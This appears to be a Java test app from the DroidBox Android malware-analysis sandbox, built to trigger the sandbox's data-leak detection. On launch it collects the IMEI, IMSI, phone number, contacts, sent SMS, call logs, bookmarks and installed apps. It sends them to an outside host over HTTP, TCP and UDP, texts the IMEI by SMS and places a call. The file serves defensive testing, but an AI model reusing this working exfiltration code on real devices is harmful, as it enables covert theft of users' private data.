PageRenderTime 59ms CodeModel.GetById 17ms RepoModel.GetById 0ms app.codeStats 0ms

/tests/DroidBoxTests/DroidBoxTests.java

http://droidbox.googlecode.com/
Java | 566 lines | 421 code | 54 blank | 91 comment | 32 complexity | 028407e25d04497fceece9a32dde250a MD5 | raw file
  1. /***************************************************************************
  2. * (c) 2011, The Honeynet Project
  3. * Author: Patrik Lantz patrik@pjlantz.com
  4. *
  5. * This program is free software; you can redistribute it and/or modify
  6. * it under the terms of the GNU General Public License as published by
  7. * the Free Software Foundation; either version 2 of the License, or
  8. * (at your option) any later version.
  9. *
  10. * This program is distributed in the hope that it will be useful,
  11. * but WITHOUT ANY WARRANTY; without even the implied warranty of
  12. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  13. * GNU General Public License for more details.
  14. *
  15. * You should have received a copy of the GNU General Public License
  16. * along with this program; if not, write to the Free Software
  17. * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
  18. *
  19. ***************************************************************************/
  20. package droidbox.tests;
  21. import java.io.BufferedReader;
  22. import java.io.DataInputStream;
  23. import java.io.DataOutputStream;
  24. import java.io.FileNotFoundException;
  25. import java.io.IOException;
  26. import java.io.InputStream;
  27. import java.io.InputStreamReader;
  28. import java.io.OutputStreamWriter;
  29. import java.net.DatagramPacket;
  30. import java.net.DatagramSocket;
  31. import java.net.HttpURLConnection;
  32. import java.net.InetAddress;
  33. import java.net.Socket;
  34. import java.net.SocketException;
  35. import java.net.URL;
  36. import java.net.UnknownHostException;
  37. import java.security.InvalidKeyException;
  38. import java.security.MessageDigest;
  39. import java.security.NoSuchAlgorithmException;
  40. import java.util.List;
  41. import javax.crypto.BadPaddingException;
  42. import javax.crypto.Cipher;
  43. import javax.crypto.IllegalBlockSizeException;
  44. import javax.crypto.NoSuchPaddingException;
  45. import javax.crypto.spec.SecretKeySpec;
  46. import android.app.Activity;
  47. import android.content.ContentResolver;
  48. import android.content.ContentValues;
  49. import android.content.Context;
  50. import android.content.Intent;
  51. import android.content.SharedPreferences;
  52. import android.content.pm.ApplicationInfo;
  53. import android.content.pm.PackageManager;
  54. import android.database.Cursor;
  55. import android.location.Criteria;
  56. import android.location.Location;
  57. import android.location.LocationListener;
  58. import android.location.LocationManager;
  59. import android.location.LocationProvider;
  60. import android.net.Uri;
  61. import android.os.Build;
  62. import android.os.Bundle;
  63. import android.provider.Browser;
  64. import android.provider.CallLog;
  65. import android.provider.CallLog.Calls;
  66. import android.telephony.SmsManager;
  67. import android.telephony.TelephonyManager;
  68. import android.util.Log;
  69. public class DroidBoxTests extends Activity {
  70. private String imei, hashedImei, contactName, number;
  71. private String imsi, iccd, myPhone, devicesn;
  72. private String bookmark, calls, settings, calendar;
  73. private String encryptedImei, phoneNbr, msg;
  74. private String fileContent, installedApps;
  75. private static final String PREFS_NAME = "Prefs";
  76. private static final byte[] KEY = { 0, 42, 2, 54, 4, 45, 6, 7, 65, 9, 54, 11, 12, 13, 60, 15 };
  77. private static final byte[] KEY2 = { 0, 42, 2, 54, 4, 45, 6, 8 };
  78. /**
  79. * Called when the activity is first created.
  80. */
  81. @Override
  82. public void onCreate(Bundle savedInstanceState) {
  83. super.onCreate(savedInstanceState);
  84. setContentView(R.layout.main);
  85. System.setProperty("http.keepAlive", "true");
  86. // Setup test variables
  87. this.setupTest();
  88. // Run tests
  89. this.testSharedPreferences();
  90. //this.testAddBookmark();
  91. this.testGetInstalledApps();
  92. this.testWriteFile();
  93. this.testReadFile();
  94. Intent svc = new Intent(this, SendDataService.class);
  95. startService(svc);
  96. this.testCryptHash();
  97. this.testCryptAES();
  98. this.testCryptDES();
  99. this.testSendSocket();
  100. this.testSendDatagram();
  101. //this.testCircPermission();
  102. this.testNetworkHTTP();
  103. this.testSendSMS();
  104. this.testPhoneCall();
  105. }
  106. public void onDestroy() {
  107. Intent svc = new Intent(this, SendDataService.class);
  108. stopService(svc);
  109. }
  110. /**
  111. * Setup variables
  112. */
  113. public void setupTest() {
  114. // IMEI
  115. TelephonyManager manager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
  116. imei = manager.getDeviceId();
  117. encryptedImei = imei;
  118. imsi = manager.getSubscriberId();
  119. String operatorname = manager.getNetworkOperatorName();
  120. String operatorcode = manager.getNetworkOperator();
  121. String operatoriso = manager.getNetworkCountryIso();
  122. number = manager.getLine1Number();
  123. String simcountrycode = manager.getSimCountryIso();
  124. String simoperator = manager.getSimOperatorName();
  125. String simserialno = manager.getSimSerialNumber();
  126. fileContent = "";
  127. Log.v("Evasion", "BRAND: " + Build.BRAND);
  128. Log.v("Evasion", "DEVICE: " + Build.DEVICE);
  129. Log.v("Evasion", "MODEL: " + Build.MODEL);
  130. Log.v("Evasion", "PRODUCT: " + Build.PRODUCT);
  131. Log.v("Evasion", "IMEI: " + imei);
  132. Log.v("Evasion", "IMSI: " + imsi);
  133. Log.v("Evasion", "Operator name: " + operatorname);
  134. Log.v("Evasion", "Operator code: " + operatorcode);
  135. Log.v("Evasion", "Operator iso: " + operatoriso);
  136. Log.v("Evasion", "SIM country code: " + simcountrycode);
  137. Log.v("Evasion", "SIM operator: " + simoperator);
  138. Log.v("Evasion", "SIM serial no: " + simserialno);
  139. Log.v("Evasion", "Phone nbr: " + number);
  140. // read bookmark
  141. String[] projection = new String[] {
  142. Browser.BookmarkColumns.TITLE
  143. , Browser.BookmarkColumns.URL
  144. };
  145. Cursor mCur = managedQuery(android.provider.Browser.BOOKMARKS_URI,
  146. projection, null, null, null
  147. );
  148. mCur.moveToFirst();
  149. int titleIdx = mCur.getColumnIndex(Browser.BookmarkColumns.TITLE);
  150. int urlIdx = mCur.getColumnIndex(Browser.BookmarkColumns.URL);
  151. while (mCur.isAfterLast() == false) {
  152. bookmark = mCur.getString(urlIdx);
  153. mCur.moveToNext();
  154. }
  155. // retrieve call log
  156. projection = new String[] {
  157. Calls.DATE
  158. , Calls.NUMBER
  159. , Calls.DURATION
  160. };
  161. mCur = managedQuery(CallLog.Calls.CONTENT_URI,
  162. projection, Calls.DURATION +"<?",
  163. new String[] {"60"},
  164. Calls.DURATION + " ASC");
  165. mCur.moveToFirst();
  166. while (mCur.isAfterLast() == false) {
  167. for (int i=0; i<mCur.getColumnCount(); i++) {
  168. calls += mCur.getString(i) + " ";
  169. }
  170. mCur.moveToNext();
  171. }
  172. settings = android.provider.Settings.System.getString(this.getContentResolver(), android.provider.Settings.System.NEXT_ALARM_FORMATTED);
  173. // Read contact name
  174. String strUri = "content://contacts/people";
  175. Uri uricontact = Uri.parse(strUri);
  176. Cursor c = this.getContentResolver().query(uricontact, null, null, null, null);
  177. while (c.moveToNext()) {
  178. // Name at column 16
  179. contactName = c.getString(16);
  180. }
  181. // Read stored sms
  182. strUri = "content://sms/sent";
  183. Uri urisms = Uri.parse(strUri);
  184. c = this.getContentResolver().query(urisms, null, null, null, null);
  185. while (c.moveToNext()) {
  186. // Addr at column 2
  187. String addr = c.getString(2);
  188. phoneNbr = addr;
  189. // Msg body at column 11
  190. msg = c.getString(11);
  191. }
  192. }
  193. public void testCircPermission() {
  194. Log.v("Test", "[*] testCircPermission()");
  195. startActivity(new Intent(Intent.ACTION_VIEW,
  196. Uri.parse("http://pjlantz.com/phone.php?phone=" + phoneNbr)).setFlags
  197. (Intent.FLAG_ACTIVITY_NEW_TASK));
  198. }
  199. public void testSharedPreferences() {
  200. Log.v("Test", "[*] testSharedPreferences()");
  201. SharedPreferences settings = getSharedPreferences(PREFS_NAME, MODE_WORLD_READABLE);
  202. SharedPreferences.Editor editor = settings.edit();
  203. editor.putString("SharedValue", imsi);
  204. editor.putString("Book", bookmark);
  205. editor.commit();
  206. }
  207. /**
  208. * Add bookmark to a content provider
  209. */
  210. public void testAddBookmark() {
  211. Log.v("Test", "[*] testAddBookmark()");
  212. ContentValues bookmarkValues = new ContentValues();
  213. bookmarkValues.put(Browser.BookmarkColumns.BOOKMARK, 1);
  214. bookmarkValues.put(Browser.BookmarkColumns.TITLE, "Test");
  215. bookmarkValues.put(Browser.BookmarkColumns.URL, "http://www.pjlantz.com");
  216. }
  217. /**
  218. * Retrieve list with installed apps
  219. */
  220. public void testGetInstalledApps() {
  221. Log.v("Test", "[*] testGetInstalledApps()");
  222. PackageManager pm = getPackageManager();
  223. List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
  224. installedApps = "";
  225. for (ApplicationInfo packageInfo : packages)
  226. installedApps += packageInfo.packageName + ":";
  227. }
  228. /**
  229. * Write a file to the device
  230. */
  231. public void testWriteFile() {
  232. Log.v("Test", "[*] testWriteFile()");
  233. try {
  234. OutputStreamWriter out = new OutputStreamWriter(openFileOutput("myfilename.txt", 0));
  235. out.write("Write a line\n");
  236. out.close();
  237. // Write tainted data
  238. out = new OutputStreamWriter(openFileOutput("output.txt", 0));
  239. out.write(contactName + "\n");
  240. out.close();
  241. } catch (IOException e) {
  242. e.printStackTrace();
  243. }
  244. }
  245. /**
  246. * Test reading file content on device
  247. */
  248. public void testReadFile() {
  249. Log.v("Test", "[*] testReadFile()");
  250. try {
  251. InputStream instream = openFileInput("myfilename.txt");
  252. if (instream != null) {
  253. InputStreamReader inputreader = new InputStreamReader(instream);
  254. BufferedReader buffreader = new BufferedReader(inputreader);
  255. String line;
  256. while (( line = buffreader.readLine()) != null) {
  257. fileContent += line;
  258. }
  259. }
  260. Log.v("FileContent", fileContent);
  261. instream.close();
  262. // Read file with tainted data
  263. instream = openFileInput("output.txt");
  264. if (instream != null) {
  265. InputStreamReader inputreader = new InputStreamReader(instream);
  266. BufferedReader buffreader = new BufferedReader(inputreader);
  267. String line;
  268. fileContent += "&";
  269. while (( line = buffreader.readLine()) != null) {
  270. fileContent += line;
  271. }
  272. }
  273. instream.close();
  274. } catch (FileNotFoundException e) {
  275. e.printStackTrace();
  276. } catch (IOException e) {
  277. e.printStackTrace();
  278. }
  279. }
  280. /**
  281. * Make phone call
  282. */
  283. public void testPhoneCall() {
  284. Log.v("Test", "[*] testPhoneCall()");
  285. Intent callIntent = new Intent(Intent.ACTION_CALL);
  286. callIntent.setData(Uri.parse("tel:123456789"));
  287. startActivity(callIntent);
  288. }
  289. /**
  290. * Send a text message
  291. */
  292. public void testSendSMS() {
  293. Log.v("Test", "[*] testSendSMS()");
  294. SmsManager sms = SmsManager.getDefault();
  295. sms.sendTextMessage("0735445281", null, "Sending sms...", null, null);
  296. // Sending tainted data
  297. sms = SmsManager.getDefault();
  298. sms.sendTextMessage("0735445281", null, imei, null, null);
  299. }
  300. /**
  301. * Usage of AES encryption in crypto API
  302. */
  303. public void testCryptAES() {
  304. Log.v("Test", "[*] testCryptAES()");
  305. Cipher c;
  306. try {
  307. c = Cipher.getInstance("AES");
  308. SecretKeySpec keySpec = new SecretKeySpec(KEY, "AES");
  309. c.init(Cipher.ENCRYPT_MODE, keySpec);
  310. byte[] data = imei.getBytes();
  311. byte[] enc = c.doFinal(data);
  312. encryptedImei = this.toHex(enc);
  313. Cipher d = Cipher.getInstance("AES");
  314. SecretKeySpec d_keySpec = new SecretKeySpec(KEY, "AES");
  315. d.init(Cipher.DECRYPT_MODE, d_keySpec);
  316. d.doFinal(enc);
  317. } catch (NoSuchAlgorithmException e) {
  318. e.printStackTrace();
  319. } catch (NoSuchPaddingException e) {
  320. e.printStackTrace();
  321. } catch (InvalidKeyException e) {
  322. e.printStackTrace();
  323. } catch (IllegalBlockSizeException e) {
  324. e.printStackTrace();
  325. } catch (BadPaddingException e) {
  326. e.printStackTrace();
  327. }
  328. }
  329. /**
  330. * Usage of DES encryption in crypto API
  331. */
  332. public void testCryptDES() {
  333. Log.v("Test", "[*] testCryptDES()");
  334. Cipher c;
  335. try {
  336. c = Cipher.getInstance("DES");
  337. SecretKeySpec keySpec = new SecretKeySpec(KEY2, "DES");
  338. c.init(Cipher.ENCRYPT_MODE, keySpec);
  339. byte[] data = imei.getBytes();
  340. byte[] enc = c.doFinal(data);
  341. encryptedImei = this.toHex(enc);
  342. Cipher d = Cipher.getInstance("DES");
  343. SecretKeySpec d_keySpec = new SecretKeySpec(KEY2, "DES");
  344. d.init(Cipher.DECRYPT_MODE, d_keySpec);
  345. d.doFinal(enc);
  346. } catch (NoSuchAlgorithmException e) {
  347. e.printStackTrace();
  348. } catch (NoSuchPaddingException e) {
  349. e.printStackTrace();
  350. } catch (InvalidKeyException e) {
  351. e.printStackTrace();
  352. } catch (IllegalBlockSizeException e) {
  353. e.printStackTrace();
  354. } catch (BadPaddingException e) {
  355. e.printStackTrace();
  356. }
  357. }
  358. /**
  359. * Usage of hashing in the crypto API
  360. */
  361. public void testCryptHash() {
  362. Log.v("Test", "[*] testCryptHash()");
  363. String testStr = "Hash me";
  364. byte messageDigest[];
  365. MessageDigest digest = null;
  366. try {
  367. // MD5
  368. digest = java.security.MessageDigest.getInstance("MD5");
  369. digest.update(testStr.getBytes());
  370. messageDigest = digest.digest();
  371. digest.digest(testStr.getBytes());
  372. // SHA1
  373. digest = java.security.MessageDigest.getInstance("SHA1");
  374. digest.update(testStr.getBytes());
  375. messageDigest = digest.digest();
  376. // Hash tainted data
  377. digest = null;
  378. digest = java.security.MessageDigest.getInstance("SHA1");
  379. digest.update(imei.getBytes());
  380. messageDigest = digest.digest();
  381. hashedImei = this.toHex(messageDigest);
  382. } catch (NoSuchAlgorithmException e) {
  383. e.printStackTrace();
  384. }
  385. }
  386. public void testSendDatagram() {
  387. Log.v("Test", "[*] testSendDatagram()");
  388. InetAddress serverAddr;
  389. try {
  390. serverAddr = InetAddress.getByName("pjlantz.com");
  391. DatagramSocket socketUdp = new DatagramSocket();
  392. byte[] buf = ("Hello master via UDP").getBytes();
  393. DatagramPacket packet = new DatagramPacket(buf, buf.length, serverAddr, 50010);
  394. socketUdp.send(packet);
  395. byte[] message = new byte[1024];
  396. DatagramPacket recv = new DatagramPacket(message, message.length);
  397. socketUdp.receive(recv);
  398. socketUdp.close();
  399. } catch (UnknownHostException e) {
  400. // TODO Auto-generated catch block
  401. e.printStackTrace();
  402. } catch (SocketException e) {
  403. // TODO Auto-generated catch block
  404. e.printStackTrace();
  405. } catch (IOException e) {
  406. // TODO Auto-generated catch block
  407. e.printStackTrace();
  408. }
  409. }
  410. public void testSendSocket() {
  411. Log.v("Test", "[*] testSendSocket()");
  412. Socket socket = null;
  413. DataOutputStream dataOutputStream = null;
  414. DataInputStream dataInputStream = null;
  415. String textIn ="";
  416. String textOut = "Hello master via TCP";
  417. try {
  418. socket = new Socket("pjlantz.com", 50007);
  419. dataOutputStream = new DataOutputStream(socket.getOutputStream());
  420. dataInputStream = new DataInputStream(socket.getInputStream());
  421. dataOutputStream.writeUTF(textOut);
  422. textIn = dataInputStream.readUTF();
  423. socket.close();
  424. } catch (UnknownHostException e) {
  425. // TODO Auto-generated catch block
  426. e.printStackTrace();
  427. } catch (IOException e) {
  428. // TODO Auto-generated catch block
  429. e.printStackTrace();
  430. }
  431. }
  432. /**
  433. * Usage of HTTP connections
  434. */
  435. public void testNetworkHTTP() {
  436. Log.v("Test", "[*] testNetworkHTTP()");
  437. // HttpURLConnection read & write
  438. URL url = null;
  439. HttpURLConnection urlConnection = null;
  440. try {
  441. // HttpURLConnection sending phone number
  442. url = new URL("http://pjlantz.com/phone.php?phone=" + number);
  443. urlConnection = (HttpURLConnection) url.openConnection();
  444. BufferedReader rd = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
  445. String line = "";
  446. while ((line = rd.readLine()) != null);
  447. rd.close();
  448. urlConnection.disconnect();
  449. // HttpURLConnection sending hashed tainted data
  450. url = new URL("http://pjlantz.com/imei.php?imei=" + encryptedImei);
  451. urlConnection = (HttpURLConnection) url.openConnection();
  452. rd = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
  453. while ((line = rd.readLine()) != null);
  454. rd.close();
  455. urlConnection.disconnect();
  456. // HttpURLConnection sending SMS message retrieved from db
  457. url = new URL("http://pjlantz.com/msg.php?msg=" + msg.replace(" ", "+"));
  458. urlConnection = (HttpURLConnection) url.openConnection();
  459. rd = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
  460. while ((line = rd.readLine()) != null);
  461. rd.close();
  462. urlConnection.disconnect();
  463. // HttpURLConnection sending file content
  464. url = new URL("http://pjlantz.com/file.php?file=" + fileContent.replace(" ", "+"));
  465. urlConnection = (HttpURLConnection) url.openConnection();
  466. rd = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
  467. while ((line = rd.readLine()) != null);
  468. rd.close();
  469. urlConnection.disconnect();
  470. // send system settings
  471. url = new URL("http://pjlantz.com/settings.php?alarmset=" + settings.replace(" ", "+"));
  472. urlConnection = (HttpURLConnection) url.openConnection();
  473. rd = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
  474. while ((line = rd.readLine()) != null);
  475. rd.close();
  476. urlConnection.disconnect();
  477. // send call logs
  478. url = new URL("http://pjlantz.com/call.php?logs=" + calls.replace(" ", "+"));
  479. urlConnection = (HttpURLConnection) url.openConnection();
  480. rd = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
  481. while ((line = rd.readLine()) != null);
  482. rd.close();
  483. urlConnection.disconnect();
  484. // HttpURLConnection sending installed apps
  485. url = new URL("http://pjlantz.com/app.php?installed=" + installedApps.replace(" ", "+"));
  486. urlConnection = (HttpURLConnection) url.openConnection();
  487. rd = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
  488. while ((line = rd.readLine()) != null);
  489. rd.close();
  490. urlConnection.disconnect();
  491. } catch (IOException e) {
  492. e.printStackTrace();
  493. } finally {
  494. urlConnection.disconnect();
  495. }
  496. }
  497. /**
  498. * Returns Hex representation of a byte buffer
  499. * @param buf Byte buffer
  500. * @return String with hex representation
  501. */
  502. private String toHex(byte[] buf) {
  503. StringBuffer hexString = new StringBuffer();
  504. for (int i = 0; i < buf.length; i++) {
  505. String h = Integer.toHexString(0xFF & buf[i]);
  506. while (h.length() < 2)
  507. h = "0" + h;
  508. hexString.append(h);
  509. }
  510. return hexString.toString();
  511. }
  512. }